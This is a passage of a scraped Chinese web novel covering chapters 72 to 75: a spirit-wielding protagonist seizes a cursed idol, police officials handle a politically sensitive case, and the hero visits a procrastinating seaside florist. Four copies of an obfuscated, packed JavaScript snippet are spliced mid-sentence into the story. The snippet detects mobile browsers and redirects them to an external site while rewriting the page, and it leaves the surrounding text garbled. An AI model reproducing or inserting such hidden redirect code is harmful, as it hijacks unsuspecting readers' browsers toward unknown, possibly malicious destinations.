如利刃的藤蔓破土而出时,忽然狂风大作,将独孤尽包裹起来,似是要将他直接席卷走。 独孤尽被这飓风吹了那么两下,险些神魂回了本体,他多放了一些精神力出来,才稳住了自己的身形。 “我%@!*#!!我来救你!”陆烨修骂着脏话就往这边冲,脸上被风刃刮出了一道道口子,鲜血的味道顿时蔓延在空气中,让那藤蔓更加疯狂。 枝叶理都没理陆烨修,对它来说,陆烨修太过鲜活、健康,不是它需要的养分,而奄奄一息的独孤尽就格外美味了。 它死死缠在独孤尽身上,牢牢捆缚。 独孤尽有那么一瞬间连话都说不出来,那种被风夺去了空气的感觉并不好受,且他身上缠了这么多乱七八糟的东西,又不能挣开,否则前功尽弃。 这种憋屈的感觉着实不好受。 “主人,捉住了,是否带回来?”一会儿的功夫,那孩童连脸上都布满了枝叶,只有一双眼睛还完好无损盯着老者。 “不必,我们过去。”老者并不放心,他不想暴露自己的位置,打算把战场就放在外头。 独孤尽察觉到对方离他越来越近,暗叫不妙,他的肉身没往远了藏,恐怕会被发现。 这些家伙还真跟老鼠似的,足够狡猾。 但独孤尽也不是好拿捏的,他主动发起攻击,顺着藤蔓的方向将精神力放出。 他的动作之快,老者都没来及反应,更别提全神贯注控制着自己的力道既不能把独孤尽捏死又不能把独孤尽放走的那人。 独孤尽并不想让自己的神魂离肉身太远,恐生危险,但现在大好机会就在面前,如果无法一击将他们一窝端了,那之后源源不断的麻烦都将接踵而至。 独孤尽是个极其怕麻烦的人,这点从一开始就没变过,他自然要搏一搏。 也幸好,春渐满现在只能在局里干着急,但凡被他知道独孤尽的冒进,都会从旁制止,毕竟,现在连神兽都能听他话了。 “遭了!调虎离山!”等老者反应过来时,独孤尽已经到了他们老巢的附近,且凭借着超强的感知力,已经找准了方位。 那是一片很有诗意的复古风建筑,亭台楼榭下有花正盛开着,迎着夜色散发出幽幽花香。 独孤尽没功夫欣赏这番美景,他的精神力从没关严实的窗户缝里溜进去,轻而易举找到了他们的依托。 一尊长得很奇怪的木雕,上面雕了无数颗脑袋,每一颗都在树枝上串着,乍一看只是吓人,仔细盯着瞧就能发现那些脑袋顶着的面孔都不一样,皆是栩栩如生,且偶尔那些眼睛还会眨动。 木雕怎么会眨眼?! 独孤尽盯着又细瞧了两眼,找到了旁边的香炉,用线香的顶端戳了戳那其中一双眼睛。 木雕痛苦地颤抖了两下,竟流下泪来。 独孤尽又小心地靠近嗅了一下。 跟之前在局里碰到的那小东西弄出来迷惑人的液体同出一源。 这东西就算交给春渐满,警方也办不了这种案子,独孤尽没多想,直接把那尊收进了画里。 也就是这一下,他身上原本还有的束缚感全然消失了。 独孤尽没耽误时间,他在摆放木雕的柜子底下留了一丝神魂,就直接撤退回到了自己的肉身中。 他刚一回去就看到陆烨修拖着他的身体,还一边拖一边哭。 “呜呜……是我害了你……都是我……” 独孤尽的背部在泥土上摩擦着,虽然隔着衣服,却还是火辣辣地疼。 “别哭了。”独孤尽刚神魂归体,声音还有点沙哑,陆烨修一时间没听见。 他抬手拍了那只死死钳着他肩膀拖拽的手,“疼死了。” “啊!你醒了?!你刚刚一点气都没了,诈尸?!”陆烨修完全在状况外,他脸上是不加掩饰的惊愕。 “刚才的人呢?”独孤尽反问陆烨修。 “人?没人啊,刚才一阵怪风,还有这里的树好像都成精了,长了好长的藤条把你缠着,让我给砍了。” 独孤尽发现原本跟在他身边的那个开了灵智的小东西也不见了。 “你的召唤灵呢?” “怎么都叫不出来了,可能是刚刚风太大,刮跑了。” 独孤尽适应了两下,总算找回了□□走路都感觉,这种沉重地被地心引力吸引的感觉有点儿笨重,但还不错。 “我回去了,你以后也别一个人研究这些东西,实在要研究就跟你家里的长辈说一声,让他们教你。”独孤尽嘱咐了一句。 “他们?他们才不会教我,不过我也不会随随便便瞎弄这些东西了,不然害到无辜的人就不好了。” 独孤尽点了点头,他心念转动,直接回了局里。 这间审讯室里没有旁人,只有春渐满一个人。 独孤尽回来的时候,春渐满也能感知到了,他睁开眼,疲惫地看向房间中心的椅子,“解决了?” “解决了,春警官这是在担心我?”危险解除,独孤尽又恢复成了那副吊儿郎当的样子,他眼里含着笑望向春渐满。 不过缓缓把手铐重新戴回自己手上的动作实在欠得很。 “别戴了,回画里去。”春渐满抓住他的手,不让那碍眼的东西再出现在他手腕上。 这双手往大里说是能解救苍生大手,往小里说,是他想牵的手。 怎么能让它背负着莫须 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688969|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的罪名,变得沉重。 “这可不像你,铁面无私的春警官,发生什么了?”独孤尽利落地把卡扣扣上,却仍旧像个无事人一样,胳膊搭在春渐满的肩膀上,脑袋都快挨到一起了,“来跟主人说说,谁让我们春警官这么多愁善感的?” 再次听到“主人”这个词,春渐满心里已经没了半分抵触,像这样的人,有众多追随者也是应该的。 “没事,既然处理完了,你就回画里去,正好刚刚你也闹了一场,不然还要想办法把你捞出来才麻烦。”心念转动间,春渐满又恢复成了之前那个冷冰冰的样子。 “翻脸比翻书还快啊!”独孤尽哀嚎一声,也不跟春渐满玩闹了,他直接把手铐取了出来,放在桌上。 “那我就先回去休息了,你处理完这次的事情记得回来报道。”独孤尽又看了春渐满一眼,发现他颈间有点熟悉的潮湿,伸手揩了一下。 “你干嘛?!”春渐满差点跳起来反击,刚才被独孤尽摸到的那一块皮肤也一下变红了。 “帮你把惑术解一下,等等也让你师父去洗个澡,好好洗洗,不然我不保证惑术还会做出什么影响人心神的事。”独孤尽说完这句话,盯着手上那滴液体看了会儿,直接消失在了春渐满面前。 徒留春渐满一人连耳朵根都红了。 但刚才独孤尽嘱咐的话他却一句没落,全记下了。 显然他和师父身上都有什么,他得赶紧提醒师父洗澡。 这话本没什么,可春渐满冲进曹鸿盛的办公室,直接让他洗澡时,曹鸿盛还是一头雾水,“忙成这样你还让我去洗澡?” “我在自己的办公室,又没臭到你。” “是那个……”春渐满指了指心口,“影响我们的东西附着在身上,必须清洗干净。” “你跟‘怪奇诊所’又接触了?”曹鸿盛一猜就猜到了,不然哪里还有那么神通广大的人来提点他们。 “师父,有些事我真的不能说。” “不说就不说吧,我去洗澡。” 局里有淋浴间,曹鸿盛拿了套换洗衣服就过去了。 可因为是公共区域,好多同事都看见了,难免让人多想。 “每个人都排队去冲一下澡,最新消息,那个组织有新型药剂会附着在人身上。”春渐满想了想,还是下达了最新命令,他和师父两人警觉察觉到了异常,那有些粗心的队员呢?只有这样才能让人安心。 也省得队员们胡乱猜测。 “春队,这澡非洗不可吗?我没在局里放换洗衣服,之前任务受伤换了一套,后来忘了添置了。” “必须洗,就算不换衣服,也要把澡洗了。” 关鹏不知道从哪听到了风声,过来局里的时候,脸上看稀奇的表情半天都下不去,他走到曹鸿盛办公室终于忍不住问道,“哈哈哈,要不是你这牌子还挂在这,我都要以为我走错去澡堂了!” “这你就不懂了吧,新型药剂,会迷惑人心神。”曹鸿盛压低了声音,神秘兮兮。 73. 拖延症也是病吗 “不声不响的,又破获大案了?”关鹏听到新型药剂更来劲了,他嗅了嗅,却只嗅到了清新的肥皂味。 “且大着呢,你知道我那个徒弟吧,不是个省油的灯,给我弄回来的全是大案子,不知道的还以为我背景多大能给他兜底呢。”曹鸿盛虽然因为春渐满破获了多个案件,但却没有晋升。 不仅没晋升,因案件重大,他甚至只为保全自身,并未在明面上显露,光是如此,他也已经树敌无数,这次更是牵扯众多,明日太阳升起之时,还不知会迎来何种动荡。 从老百姓不关心的局势到老板姓最关心的经济,都要有所变动,这种震颤不是他能承担的。 “老曹,才些许时日不见,怎么生了这么多白发。”关鹏这才注意到曹鸿盛半湿的头发已经有好多都白了。 “操心啊,操不完的心啊。”曹鸿盛摆着手,“这徒弟可比我亲生孩子还让人操心。” “还没问你,怎么过来了?”他给关鹏倒了杯茶奉上,让他坐下来慢慢说。 “这次的案子同我说说?”关鹏也没先前的爽朗心情了,他压低了声音。 “可是有什么风声传出来了?”曹鸿盛猜了个七七八八,却没想到那些人这么警觉。 不过也是,哪有什么晚餐是吃到半夜还不散的。 且这本该联系到的人也联系不到了,换做谁都该知道发生了什么。 尤其是心中有鬼之人。 “我们那边的这位,你知道吧?他夫人找到局里来了。”关鹏指了指上头,很多事即使话到嘴边,他也不能明说。 “竟连……也有牵连。”曹鸿盛刚洗完澡,后背上就又沁出了一层冷汗。 “现在人可都在你这边?老曹,不是兄弟我胆小怕事,只是你可想好这是要怎么报上去吗?”关鹏此刻也深刻感受到了曹鸿盛那位徒弟有多让人操心。 虽说他们当年做这份职业为的就是守护人民,为大家声张正义,可做得久了才知道里面有多少不得已,只能在自己能力范围内,尽力保证民众的权益。 这就已经是最得极好了。 再往下,恐怕,他们不仅自身难保,还会祸及家人。 保护民众固然重要,可他们能豁得出去自己,却没办法对家人视而不见。 “没呢,难说,难办呐。”曹鸿盛的太阳穴又开始突突地疼。 “想想,想想,不如把你徒弟一起叫来想,毕竟是他办的案子。”关鹏着实头疼,他原本以为曹鸿盛敢办这么大的案子多半是想好了后路,或者上面支持他,可谁能料到,他是单枪匹马在这儿莽着。 春渐满接到命令来到办公室的时候,里面两人正在沉思,这倒显得他的开门声有点格格不入了。 “师父,关局,你们找我?” 春渐满看了看两人,自己找了张椅子坐下了,“有什么话不妨直说。” “春队啊,你看,你师父年纪也不小了,你也不能老是只办案子,不想这盘根错节的事儿,把善后都留给你师父吧?”关鹏这话说得可一点儿也不客气。 曹鸿盛想要制止关鹏却还是被关鹏按住了肩膀,“孩子大了,该让他知道点事了。” 春渐满做任务是很积极的,但让他处理这些后续的事却是头大,但他写报告是一绝,黑的都能说成白的。 “师父,案情报告我会尽快补全。”春渐满并没逃避,他也知道这回的事有多大。 “只是……这次牵扯众多,这案情报告,要写一段时间。” “案情报告不是重点,你这孩子,看看你师父长了多少白头发,以后要是有这种让人操心的案子,干脆点,往上报,别拿回局里了。”关鹏见曹鸿盛不舍得说春渐满,只能他来当这个黑脸的了。 “往上报?可我手里能用的人只有那一队兄弟。”春渐满手里是又一支专门属于他的队员,甚至直接用春来命名,可这队队员现在人都跟着他来局里了。 “用人什么的你不用操心,哪怕这边人手不够,我那边也能调人给你,只是这抓了的人,别往回送了,直接送到上面去。” 关鹏的话说得够直接了,可春渐满还是一头雾水。 “送到上面去那不符合章程啊。” “你一股脑扣了这么多有背景的在这一座小庙里就符合章程吗?” “符合啊,我有证据,人赃并获。”春渐满仍旧一头雾水,他向来是按规矩办的事。 “你有证据,你这么快就有证据了?!”关鹏没想到春渐满这么快就把证据都找来了。 “老曹,你这徒弟是什么神仙,办重案都只要这么点时间?!” 面对关鹏的不敢置信,曹鸿盛有点尴尬,他咳嗽了两声清了清嗓子,“咳咳,那个,孩子办案能力是有的。” “敢情老曹你平时那么夸都是收着夸?”关鹏有点儿世界观崩裂了,他觉得自己就是多余过来的。 “那老曹你还操哪门子心?案情报告有徒弟给你写,人有徒弟给你抓,完整的证据链有徒弟给你找,你还操心个什么你跟我说。” “老给我发信息骚扰我,亏我还这么担心,真以为你有什么事。”关鹏有些牢骚就算是当着春渐满的面也不得不发出来了。 “这次我可没给你发消息。”曹鸿盛一看自己徒弟的眼神都变了,赶紧自证清白。 “是,这次是没给我发消息,但你之前跟我抱怨那么多,谁知道你是在凡尔赛。” 春渐满见两人之间已经容不下第三个人插嘴,他朝两人点了点头,就打算退出房间。 “师父,关局,我还要去整理案情报告,事情紧急耽误不得,就先不在这打扰你们了。” 春渐满确实着急,想要把这么多人,这么多份证据都整理清晰,提交上去,实在是个需要耗费太多精力的活。 但这个活交给别人,他还不能放心。 “邱游,去把这边的资料整理好后交给我。”他只能让自己的队员从旁辅助,打打下手。 春渐满忙得不可开交,而独孤尽也没好到哪里去,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688970|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在正面对着那群中二病十足的人。 这群人正把他当成大boss,一口一个要消灭他。 “停——你们真不认识我?”独孤尽指了指自己,他突然想起来,自己已经把伪装去除了,早就不是龙少那副装扮。 不过,即便是龙少那副装扮,估计能认出他的人也没几个,毕竟他都是一击制胜的。 “我们该认识你吗?别跟他废话了,大家快上!”有人喊得积极,可却不见他拿着武器上前。 独孤尽现在手无寸铁,真正地做到了让人觉得他很安全。 “其实现在还在剧情阶段,还没到你们攻击的时候。”独孤尽干脆按照他们的想法跟他们解释。 “这个剧情是这样的,接下来,我会躺着睡一觉,可能会睡得有点久,一直要等我睡醒,你们再动手,才会有伤害点数。”独孤尽一边说还一边指了指自己的脑袋。 “当然,因为我是boss,所以你们每一击都要爆头才有用,打别的地方没有伤害值。”独孤尽懒得再跟大家说话,他直接跃起,到了顶层,随便拉开了一间房的房门就进去补觉了。 顶层他们可上不来,除非有谁掌握了意志力操控自身这个技能。 目前来说,只有春渐满能做到这点。 接下来的事独孤尽就不知道了,他睡得昏天黑地。 很久没好好休息缺乏睡眠的他一睡下去就不知天地为何物了。 神兽们固然担心,但大家也不敢擅闯,更不知道这里面还住着一些人类。 春渐满也忙得没空回画里看一看独孤尽,他只要知道独孤尽是安全的就放心了。 毕竟在画里,可没人能拿独孤尽怎么样。 在那里面,他就是全能的神,也亏得他在里面竟然不会迷失自我。 春渐满这次办的案子在社会上造成了极大的影响,普通民众安心了,觉得国家可靠,更加信赖自己的国家,荣誉感更强,可有些本就不太干净的阶层就元气大伤了。 因着春渐满也能让神兽帮忙做事的缘故,那些撬不开的口,也被撬开了,即使是不愿的,但存在在记忆里的事不可能了无痕迹。 一旦事情有痕迹,那找起证据,再一同将人拿下就不是什么难事了。 并且,春渐满因为有特权,他办案只要证据齐全,就不存在越权的情况。 好几个逃到远处的人员也被春渐满给揪了出来,他们致死都不知道自己的行踪是怎么暴露的,更不知道他们早就抹掉的罪证又怎么原封不动被查出来的。 一切都像是神迹。 此事过后,大家都在暗中对“怪奇诊所”更加忌惮。 有些案子虽说是人办的,但其中手法太像“怪奇诊所”的手笔了。 就在人人自危的时候,独孤尽的好日子也到头了。 他又一次接收到了画的预示,且这一次的预示,看起来未免太过普通了,普通的一点都不像画会预示的程度。 那人……明明只是有拖延症罢了? 74. 有钱不赚的怪人 独孤尽感知了一下,发现画里的神兽还没都回来,有一部分应该还在辅助春渐满,这还真是个隐患。 如果有心怀不轨的神兽趁机出去干些坏事,那该是他的责任还是春渐满的责任呢? 想来,该为此负责的还是他自己。 独孤尽看了眼画,现在又看不出任何波动了,他要什么时候去会会那个拖延症患者呢? 说到底,他自己也是有拖延症的,还真没想过拖延症也算病。 他该带谁出去治这种问题? 思来想去把神兽们都在心里过了一遍,独孤尽都没想到哪个神兽雷厉风行。 凶悍的倒是不少,可治拖延症可不是光凶悍就有用的,很多人缺乏自制力,可据他所知,更多人是对自己的能力足够自信,才会拖延。 因为拖延到最后时刻,反而能发挥自己的潜力,做事情非常高效。 但这种人通常不能一直高效,他们只有一瞬的爆发力。 独孤尽太了解了,因为他自己何尝不是,如果不是因为有画这种背后驱动力,他是能拖多久就拖多久的典型。 “选几个看起来凶的,再选几个比较有诱惑力的。”独孤尽想了些办法,威逼利诱总有一招好使。 况且,他要先跟人接触了才能知道,这拖延症怎么还能害人了。 怎么还能让画给他预示了。 他有的时候很恨画给的预示要分阶段,不能一次性给他全都揭示了。 这次的主人公在海边小镇,是个开花店的漂亮女孩,正是面朝大海春暖花开的美好年纪。 独孤尽专门拿了个野餐车,有找了些野餐炉、野餐毯、野餐餐具等一系列适合在海边浪的东西。 “主人……我们真的是去做任务的?”应龙是这次同去的神兽之一,此刻正迷茫地看着独孤尽在那捣鼓一些明显像出游才需要的用品。 “当然,做任务就不允许我度假了吗?”独孤尽是拖延症一把好手,他非常享受在任务地点拖着做任务的感觉。 当然,前提是,这个任务地点得风景优美。 否则,他也是要速战速决的。 这个季节,海边人正多,好多知名的海滩上人都跟下饺子似的,那些离人近的海都变得海水浑浊,可独孤尽这次去的海却鲜少有人去。 那是个偏远得不能再偏远的地方,如果要按照正常方法过去,起码也要轮番换交通工具折腾个一天的,但独孤尽出行要多便利就有多便利,他根本不用担心这点。 只要找准了落脚点,别落错就行。 独孤尽明确了海域,又清点好了这次随行的神兽,还在屋里给那些目前还只能生活在画里的人类安排了任务,留了纸条给春渐满说明情况,才心念转动,去到那片海域。 但独孤尽失算的是,他海域看多了,心里想的都是大海,这落脚时,自然也就落在了海里。 “救命……”从空中坠落入水的一瞬间,独孤尽下意识慌乱起来,喊起了救命,但咸涩的海水根本不给他喊叫的机会,直接灌入他的口鼻。 这个时候,独孤尽才想起来他要闭气。 应龙紧跟其后刚想控制海水给主人让出一条路,独孤尽就已经重新锁定了目标,移动到了沙滩上。 “咳咳咳咳……”一阵猛咳后,独孤尽的双眼都充血泛红了。 “天啊,这次有点出师不利,险些丧命在海里了。” “主人,有我等在,断不会让您在此丧命。”应龙单膝跪地表示忠诚。 可他的这种举动在海滩上尤为醒目,虽然这里远离人流,但并不代表这里没人。 只是没有什么游客,当地的居民还是很热衷在夏天的时候来海边赶海玩水的。 “小哥,你没事吧?刚看你好像溺水了,不会游泳吗?”有人关切地跑过来,想要给予独孤尽帮助。 “没事,我忘了自己会游泳了。”独孤尽有点惨兮兮地冲人笑了一下,“我朋友也会游泳,真没事。”他指了指应龙和其他已经化成人形的神兽们。 “那就好,如果不是特别通水性,还是要跟朋友一起,可以有个照应。” “谢谢,对了,听说这边有个网红花店,是在附近吗?”独孤尽干脆问出了这次任务的关键目的地。 “你也是冲着那家花店来的?最近好多人都奔着这个过来,我瞧着不是好事,要出事。” “人多不是生意好吗?怎么会出事?”独孤尽不太明白这位大姨怎么会得出这种结论。 难道说,这里有人会眼红别人生意好,从而捣乱? 如果不是本地的,在当地没有背景,可能确实会遭遇这种事情,但据他在画里看到的,女孩的家人也在这边,按理说不该出事。 “能给我指个方向吗?”独孤尽头一次觉得自己的拖延症被治愈了,他难得凭借着自己的好奇想去行动。 “你真要去,得坐车,或者骑个小电驴也行,离这有一段路呢,走要走好久。”大姨看了看附近,这边都是当地人过来,还真不是什么旅游景区,根本没有相关的设施设备,连出租车都很少,更别提共享单车了。 “你要不问问大家,看看谁愿意带你过去,你给点钱。”大姨显然不想卷进这件事,她没有要载独孤尽的意思。 而且,独孤尽加上他的朋友,人比较多,要好几辆车才能带下。 “钱不是问题,就是不知道谁愿意载我们。”独孤尽想了想,朝应龙使了个眼色。 应龙当即明白主人这是不打算花时间找人载他们了,是要他笼罩这片区域,帮他锁定花店的具体位置。 应龙不动声色往后退了些,躲在了一棵树后,才敢行动。 白天的海边比什么都干净,想要干点什么还真不方便。 送走了大姨,独孤尽觉得自己准备了那么多的野餐用具有点儿不太适合,这么热,还是大太阳,他在这儿岂不是纯晒? 可能晚上野营才比较有氛围。 现在他需要一把伞或者防晒帽,他快化了。 “主人,我来给您施加一身防护。”有神兽看出了独孤尽的局促,当即将水凝成屏障笼罩在独孤尽的周身,给他做了个天然的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688971|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防护。 只不过这水极其细,人类是看不出独孤尽有什么区别的,只要别近他的身,别触碰他就好。 应龙召集了云雾过来,一时间晴空万里的海上突然乌云笼罩,让人有些胆寒,生怕要碰到极端天气,可他很快就探查到了花店的具体所在,立马又将云雾驱散了。 “怪了,这什么天气,刚刚是乌云来了吧?怎么雨还没下就散了?我眼花了?”有人百思不得其解,望望天上又望望同伴。 应龙回来时,独孤尽嘴角抽着,“你动静太大了,这在人类的世界都要上热搜了。” “不过,应该不会有人把这些跟‘怪奇诊所’扯上关系,顾及会扯到保护环境上。”独孤尽伸手在应龙额心轻触了一下。 下一秒,他和神兽们就直接到了花店所在的街道。 索性,这里的监控少之又少,倒是方便了他们行动。 这是一家布置得极其梦幻的花店,迎着海的窗台上布满了蓝紫色的花朵,窗帘上还坠着贝壳风铃,随风摇曳。 “您好,有预定吗?”独孤尽推门而入后,一阵沁凉的冷气瞬间吹散了海边的热气。 “没有预定,我们是闻名而来的旅客。”独孤尽说明来意,店里因为充斥着鲜花,有一股特别清新的花香味。 里面有几张藤编小桌,搭配的椅子也是藤编的,看起来坐上去会很舒服。 “请坐,怎么会想到这个时间来海边?太晒了。”女孩招呼大家坐下,但显然,这里的位置不够这么多人坐。 独孤尽突然对客人多这个评价产生了点怀疑。 如果客人很多,不可能只有这么几张桌子和椅子,店也不该只有这么小小的一方空间。 大概是看出了独孤尽的困惑,女孩有些不好意思地笑了笑,“其实,我有点拖延症,好几天都没营业了。” “原本人还是挺多的,早该扩建,把旁边的店铺也盘下来,但是我有拖延症……所以一直没弄……” “呃……这里是可以点饮品吗?”独孤尽一时间不知道说些什么,他真的很少见到拖延到这种程度的老板。 有钱不赚,真乃神人也。 “饮品今天没有。”女孩继续不好意思地冲着独孤尽笑。 “明天有吗?”独孤尽察觉出了什么。 “明天应该也没有……不知道什么时候会恢复供应。”女孩继续不好意思。 这会儿独孤尽也有些不好意思了,他明明是个普通的客人,现在这样倒是显得他有些咄咄逼人了。 他也不是很渴,也不是非得喝这么一口。 “你的花店,这样也经营的下去?”这是独孤尽最好奇的。 “客源固定了,而且,现在网上热度比较高,订花的人比较多……”女孩解释着解释着,就坐会了自己的躺椅。 “我想买一束花,平时自己插花瓶养着的,有推荐吗?”这句话出来,独孤尽等了足足有一分钟,女孩才回答他,“可以自己挑一下,那边的桔梗会开得比较久。” 这拖延症……有点儿太过分了吧?! 75. 鲛人入海 桔梗开得久不久独孤尽其实不感兴趣,但按照女孩这种经营方式,她能把店经营得这么好,也是有点天赋在身上的。 且,运气应该很好。 既然运气这么好,为什么画会给他预示?! 独孤尽目前还没探查出什么,他收敛了自己外露的情绪,不想让女孩看出来他太惊讶。 按照女孩的节奏,他在店里又坐了好一会儿才自己站起来在店里挑选花朵。 你别说,你还真别说,这花店里的花打理得还挺像那么回事,每一朵都打了枝,修剪得刚刚好,有的含苞待放,有的盛开着。 光要看这花儿的话,真看不出来女孩有拖延症。 “主人,怎么办,一直呆店里吗?”应龙有点儿不好意思了,他幻化的人形有点过于高大,在这样一间小小花店里看着格格不入。 一个人就占了两个人的位置,多少有点儿转不开身。 “等晚点儿再来,她不是说了吗,现在这个点人少。” 显然女孩还没进入工作状态,拖延症最典型的特点就是有集中爆发的时候。 他要等到这个时候再来看看,有什么线索。 “谢谢,我先买一支桔梗。”独孤尽只取了一支,自己扫码付了款就走出了店,期间女孩看了他一眼,却懒得起身,他当真是全程自助。 “应龙,你留在这里看看店里有没有什么不寻常的,我跟鲛人他们去海边再转会儿。”独孤尽怕自己一走,这边就出线索,只能把应龙留在此处。 鲛人喜海,也正好让他去海里玩会儿。 “是,主人。” 鲛人这次出来打扮得非常休闲,真像来海边度假的,大花衬衫、短裤,配人字拖,头发还是微卷小波浪,配上他一米九的模特身材,真有点儿惹眼了。 只不过这里不是旅游区,游客少,也就没被人缠上。 “喜欢海就下去游会儿。”独孤尽发话了,鲛人却没下海,他碧蓝的眼瞳中映照着波光粼粼的海面,略带惆怅,“主人,我就不下去了,怕现原形。” “怎么会现原形?你不该啊。”独孤尽记得鲛人的能力挺强,不可能连最基本的幻形术都维持不了。 “我在海里容易忘乎所以,到时候就忘了自己该保持人形了。”鲛人深知自己的秉性,且这是白日里,若是夜晚,他游上一游,有夜色遮掩也不会被人发现。 可要是白天被人看到了他忘乎所以现出的原形,肯定要变成网络上热议的真假话题了。 “主人,您等会儿,我得下水一趟!”刚还在拒绝的鲛人,忽然改变了主意,他一个纵身跃入海中,几下就游出了百米外。 独孤尽顺着望过去,瞧见一个在海水中浮浮沉沉的脑袋,似是有人落水了。 “看来,不落水的最好方法就是远离水源。”独孤尽叹了口气,尤其是大海有着太多不可测的因素。 这片海还不算景区,连救生员都没有。 鲛人救人那叫一个快,为了不让人看出破绽,他还放缓了一些速度把人拖回岸上。 索性这个小男孩还没呛几口水,应该是会游水的,只是碰到了什么意外。 “你家大人呢?”等男孩咳得差不多了,缓过了神,独孤尽蹲下身问起话。 “我……我是因为天太热,出来泡海水浴的,我家就在附近。”男孩解释了两句,他显然惊魂未定,刚才一遭哪怕是他,也知道自己差点死了。 “谢谢,谢谢你们,我,我请你们吃刨冰。”男孩指了指旁边零星的几个摊位。 “不用了,以后还是要结伴出来,哪怕找朋友一起也不能一个人出来玩水,海里危险。”独孤尽嘱咐了一句,拍拍他的脑袋,让他回去。 “我……我找了我姐姐陪我,她说她马上来……”男孩又解释了一句,他生在海边,自然知道海的威力,也不是故意一个人来海边玩,只是…… 他姐姐拖延症太严重了,这都好几个小时了,天太热,他实在忍不住,就自己下水了。 像是有什么预感,独孤尽灵光一闪,“你姐姐不会是……网红花店的老板吧?” “你也知道姐姐的花店?大家都已经会在她店里自给自足了,我让她陪我来海边玩,她答应了,到现在也没过来。”男孩说到此处,似是想到了自己刚刚在海里的遭遇,竟哭了出来。 “没事没事了,大难不死必有后福,以后你姐姐动作慢,你就拽着她陪你。”独孤尽深吸了口气,觉得画不该只是因为个孩子要被淹死就给他预示。 当然,任何一条人命都该被重视,但如果是这种意外,那世界上每分每秒都有人在发生各种意外,并因为意外死亡,他还真没法管,这是属于每个人固定的命数。 他不该插手。 可是这个姐姐是怎么回事,怎么能让一个明显看起来还在读小学的孩子一个人下海? “你跟你姐姐是亲的吗?”独孤尽不免阴谋论。 “是啊,但是我比姐姐小好多岁,她好像不太喜欢我,但是没关系,爸爸妈妈喜欢我,我也不跟她计较。”男孩小大人样拍拍自己的胸脯。 “我不会回家跟爸爸妈妈告状的,姐姐这么掉链子也不是一天两天了,要是样样都被爸爸妈妈知道,天天都要被骂。”男孩愁眉苦脸,他的眼眶还红着,脸上也被太阳晒得红扑扑,整个像红苹果似的。 独孤尽跟鲛人对视了一眼,过了会儿才又跟男孩说,“我们去那边坐会儿,吃点刨冰吧,哥哥请你吃。” “啊?真的吗?可是是你们救了我,怎么能让你们再请我吃?”男孩有双明亮的大眼睛,现在里面都是欣喜,还有点儿犹豫。 “真的,我们都是大人了,怎么可能让你一个小孩子请客。”独孤尽大手一挥,带着人走到刨冰摊位旁,给每人都要了一份刨冰,还拿了几瓶水。 “今天你姐姐又没陪你来?”刨冰摊位的大叔显然认识男孩,看他过来,跟他搭话,“这些人是谁?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688972|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“这些是我的救命恩人,叔,算他们便宜点啊。”男孩还会讨价还价。 “救命恩人?怎么回事?”大叔眉头皱了起来,显然对男孩家里可能有一定了解。 独孤尽也不急着吃刨冰了,他噤了声站在一边听两人说话。 “没事,叔,我就随口一说,你别和我爸妈说啊。”男孩发现自己差点说漏嘴,有点儿掩耳盗铃又补了一句。 他拿过刨冰,大口大口吃着,好一会儿目光才恢复平静,“哥哥,我刚刚真的怕死了。” “我有点讨厌姐姐了怎么办。”他似是想不通自己为什么会有这种情绪,非常沮丧。 “那就找她,跟她说明今天的事情,让她意识到严重性。”独孤尽毫不留情,“尤其要让你父母知道事情的严重性,你姐姐不是你的监护人,她其实没有义务陪同你,但你的父母有监护义务,不应该让你一个人到海边。” “可爸爸妈妈没有时间,他们要上班的。”男孩像是还没明白过来,或许,家里也从未有人同他说过这些。 “你是不是很喜欢你姐姐?”独孤尽想到了什么,放下刨冰,看着男孩。 “我……当然喜欢姐姐。”男孩点了点头,所以他才更不明白,自己刚才为什么会讨厌起姐姐来了。 “你是不是从小跟她在一起的时间要多过父母跟你在一起的时间?”独孤尽继续猜测。 